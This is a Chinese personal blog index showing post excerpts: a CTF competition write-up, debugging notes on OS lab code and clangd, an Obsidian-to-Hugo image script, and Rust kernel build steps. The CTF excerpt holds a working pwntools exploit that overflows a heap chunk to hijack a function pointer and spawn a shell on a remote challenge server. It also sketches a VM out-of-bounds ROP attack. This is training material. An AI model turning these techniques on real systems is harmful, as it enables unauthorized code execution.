ccbciscn

期末作业太多了,没什么时间详细写wp。不过三战国赛终于有望进入半决赛了,自己也出了个唯二解的二血,还是值得纪念一下的。 吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到上了三个pwn感觉天都塌了。 anote 发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。 因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。 堆地址由show时的gift直接给出,只需要稍加计算。 exp: ```Python #!/usr/bin/env python3 from pwn import * import os exe = ELF("./note_patched") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("123.56.29.99", 26768) return r def dbg(cmd=""): if args.LOCAL: gdb.attach(r, cmd) pause() def choice(i): r.sendlineafter(">>", str(i)) def show(idx): choice(2) r.sendlineafter("index: ", str(idx)) def edit(idx, len, content): choice(3) r.sendlineafter("index: ", str(idx)) r.sendlineafter("len: ", str(len)) r.sendafter("content:", content) context.log_level = "DEBUG" def main(): global r r = conn() choice(1) show(0) r.recvuntil("gift: ") addr = int(r.recvline()[:-1], 16) choice(1) edit( 0, 28, p32(0x80489CE) + b"a" * (0x1C - 8 - 8) + p32(0) + p32(0x21) + p32(addr + 8) + b"\n", ) edit(1, 1, b"0\n") # good luck pwning :) r.interactive() if __name__ == "__main__": main() avm 主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。 ...

December 16, 2024 · 5 min · 980 words · JuicyMio

关于某些环境下第二次调用disp_str产生乱码的问题解析

前言 标题中的”某些环境“包括笔者和一些同学的64位系统。 笔者验证时数次得到不符合预期的结果,于是数次推翻之前的结论,一开始以为这仅仅是一个与开关PIC选项有关的问题,后来发现可能是开关PIE的问题,再去实验发现同样的选项在不同编译器版本下行为也不同,可能是不同编译器的行为不同。 本文中关于PIC、PIE的分析比较粗糙,并且笔者的相关知识也很浅薄,可能会有很多错误,希望读者包涵并指正。 问题描述 在进行orange chapter5的第i个实验时,第二个disp_str的输出会变成乱码。原本笔者以为是对输出字符串的修改导致了错误,但经过许多尝试发现即使不做任何修改,只要编译一下原始的代码,第二次disp_str的输出就是乱码。更诡异的是原本附件中的a.img的运行结果是正常的,那么这有可能是编译环境不同,导致出现了问题。 图中可以看到最后一行输出是乱码。 问题溯源 为了方便查看,笔者只将start.c编译到start.o,其中第一次调用disp_str的部分是这样的: 比较有意思的是__x86_get_pc_thunk_bx函数,它的内容是这样的: public __x86_get_pc_thunk_bx __x86_get_pc_thunk_bx proc near ; __unwind { mov ebx, [esp+0] retn ; } 这个函数跟软件安全课程中介绍的病毒获取自身代码段位置的代码一样,是一种实现PIE(position-independent Executable,位置无关可执行文件),因为call指令相当于push ip; jmp。下一句紧接着执行mov ebx, [esp+0];retn就会将刚压进栈的ip的值赋给ebx。此时ebx的值是add ebx, (offset _GLOBAL_OFFSET_TABLE)的地址。所以下一句的add就会让ebx的值变为_GLOBAL_OFFSET_TABLE的值了,后续的字符串都是相对此时的ebx寻址的。 从lea指令开始为第一次调用disp_str布置参数,将[ebx]+aCstartBegins-_GLOBAL_OFFSET_TABLE_也就是aCstartBegins的实际地址压入栈中。 这段代码这么做是因为aCstartBegins和_GLOBAL_OFFSET_TABLE_的相对偏移是固定的,但程序本身的装载地址会发生变化,为了实现位置无关需要运行时获取代码所在的地址。 于是第一次调用十分正常,在disp_str中下断点,在bochs中调试: 看到正常的ebx的值应该是0x32ff4,此时aCstartBegins的地址是0x31000。 继续到第二次调用disp_str,用调试器或者静态分析都可以看到,正确的字符串aCstartEnds地址应该是aCstartBegins+0x2a=0x3102a。 ebx的值变成了0x32fa0=0x32ff4-0x54,导致disp_str显示字符串的地址变成了0x30fd6=0x3102a-0x54。 既然ebx的值改动了,浏览start.o的反汇编结果也没有发现ebx被改动,并且两次disp_str调用紧邻着也会输出乱码,那就只有可能是disp_str中本身修改了ebx. disp_str: push ebp mov ebp, esp xchg bx, bx # magic_break for debug mov esi, [ebp + 8] ; pszInfo mov edi, [disp_pos] mov ah, 0Fh .1: lodsb test al, al jz .2 cmp al, 0Ah jnz .3 push eax mov eax, edi mov bl, 160 ; <--------------修改bl div bl and eax, 0FFh inc eax mov bl, 160 ; <--------------修改bl mul bl mov edi, eax pop eax jmp .1 .3: mov [gs:edi], ax add edi, 2 jmp .1 .2: mov [disp_pos], edi pop ebp ret 发现代码中两次修改ebx的值,都是将bl(ebx低8位)改为160,也就是16进制的0xa0. 再根据先前的ebx从0x32ff4变成0x32fa0,正好是低8位从0xf4变成了0xa0,出错过程完全分析清楚。 ...

October 22, 2024 · 1 min · 206 words · JuicyMio

clangd异常闪退原因分析

背景 使用neovim打开一个pwn题给的main.c源码的时候,clangd直接exit 1退出。当时的目录是这个样子的: ❯ ls ld-linux-x86-64.so.2 libc.so.6 main.c pwn 然后我找到了clangd的目录,执行./clangd,一切正常。 又打开了几个其他的c语言代码测试,一切正常。 把main.c复制到其他目录下,打开仍然一切正常。 看来问题出在clangd在处理这个特定目录下的文件时会闪退。于是我在这个目录下执行/path/to/clangd。复盘一下大概是这个样子的: ❯ /tmp/clangd_17.0.3/bin/clangd /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_2.36' not found (required by /usr/lib/libpthread.so.0) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libpthread.so.0) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_2.36' not found (required by /usr/lib/librt.so.1) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/lib/librt.so.1) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_2.36' not found (required by /usr/lib/libdl.so.2) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libdl.so.2) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_2.36' not found (required by /usr/lib/libm.so.6) /tmp/clangd_17.0.3/bin/clangd: libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/lib/libm.so.6) 本机系统为archlinux,Glibc版本为2.39,而题目目录下的libc.so.6版本为2.35。有经验的读者应该已经看出问题所在了。 ...

April 5, 2024 · 2 min · 388 words · JuicyMio

hugo_with_obsidian

背景 由于obsidian和hugo的图片路径十分不兼容(obsidian支持Vault内的绝对路径或文章相对路径,而hugo会把static内的图片放到public,也就是网站根目录下),如果把图片和md文件放在同一目录下倒是方便一点,但是这样目录就太乱了,令人难以接受。最简单的方案是统一把图片传到图床,但我一是囊中羞涩,二是常常要断网打比赛,需要笔记的图片保存在本地,不能使用图床的方案。总之我拖了好久都没处理这个问题,现在觉得不得不解决了。 图片复制与链接修正 因为懒,所以先去搜了一下有没有插件可以一键解决。然后浪费了一上午时间测试各种插件,不是修复图片链接不方便就是迁移图片位置不好调整。最后一想,我自己会写代码,还有chatgpt, 为什么要学插件怎么用折磨自己… 于是搓了个很糙但是能用的版本。以下代码基本上是chatgpt生成的,就改了一下路径。 #!/bin/python3 import sys import glob import shutil blog_dir = "/home/juicymio/blog/blog_papermod/" source_dir = "/home/juicymio/notes/PWN!!!/" attachments_folder = source_dir + "attachments" target = sys.argv[1].strip(".md") static_dir = blog_dir + "static/" def copy_files(source_dir, dest_dir, pattern): search_pattern = source_dir + "/" + pattern file_paths = glob.glob(search_pattern) for file_path in file_paths: dest_path = dest_dir + "/" + file_path.split("/")[-1] shutil.copy2(file_path, dest_path) copy_files(attachments_folder, static_dir, target + "*") source_path = source_dir + target + ".md" post_path = blog_dir + "content/posts/" + target + ".md" shutil.copy2(source_path, post_path) def adjust_path(file_path, target_string, adjusted_string): with open(file_path, "r") as f: content = f.read() updated_content = content.replace(target_string, adjusted_string) with open(file_path, "w") as f: f.write(updated_content) return adjust_path(post_path, "![](", "![](") 需要使用obsidian的Paste image rename第三方插件把插入的图片名字改成{{fileName}}-1.jpg的形式,并设置obsidian的图片存放路径和图片链接格式(attachments这个名字随便改)。这样python脚本就可以把attachments里所有以{{filename}}开头的文件复制到hugo site的/static目录下,并把md文件中的![]attachments/*修正为![]/*。 使用方法: ./publish.py hugo_with_obsidian.md 非常好用。 模板 以上虽然解决了图片的问题,但是直接复制的md并没有头部的Front Matter,研究了一下(经xxw指点)发现可以使用obsidian的Template功能。在设置里给Insert Template分配一个快捷键可以让操作更加丝滑,我设置为了Alt+T。 设置template的目录,这里设置成templates,即Vault下的templates文件夹。 向template/posts中添加如下内容,变量可以根据使用的主题自行增减。 --- title: "{{title}}" author: ["JuicyMio"] date: "{{date}}" tags: draft: false ShowToc: "true" description: "" --- 在md文件中按Alt+T,选择posts,即可一键添加Front Matter. ...

April 1, 2024 · 1 min · 139 words · "JuicyMio"

开启linux kernel rust support

背景 试图用Rust做操作系统小组作业,某组员遇到环境配置问题。我尝试了一下,发现网上中文资料确实比较少,而且官方文档翻译略有过时。(可能有Rust更新比较快的原因。于是写了篇没什么用的流水账记录一下编译一个启用Rust支持的Linux kernel的过程。 环境配置 本文所述内容均在archlinux下进行。 Rust: 参照官方文档配置一下rust相关环境。 LLVM 省流版(不保证完全准确,在我这能跑): 从 https://www.kernel.org/ 下载linux-6.8.2源码 在linux-6.8.2目录下切换rustc版本 rustup override set $(scripts/min-tool-version.sh rustc) 添加rust-src rustup component add rust-src 安装bindgen-cli 注意:此处中文文档已经滞后,需要安装的是bindgen-cli而非bindgen. 详见: https://github.com/rust-lang/cargo/issues/11249 cargo install --locked --version $(scripts/min-tool-version.sh bindgen) bindgen-cli 需要将~/.cargo/bin添加到环境变量 生成rust-analyzer配置文件 make LLVM=1 rust-analyzer 查看rust工具链是否符合要求 make LLVM=1 rustavailable 在我这的输出是(我没锁bindgen版本) ❯ make LLVM=1 rustavailable *** *** Rust bindings generator 'bindgen' is too new. This may or may not work. *** Your version: 0.69.4 *** Expected version: 0.65.1 *** *** *** Please see Documentation/rust/quick-start.rst for details *** on how to set up the Rust support. *** Rust is available! 然后就可以编译内核了 ...

April 1, 2024 · 1 min · 142 words · JuicyMio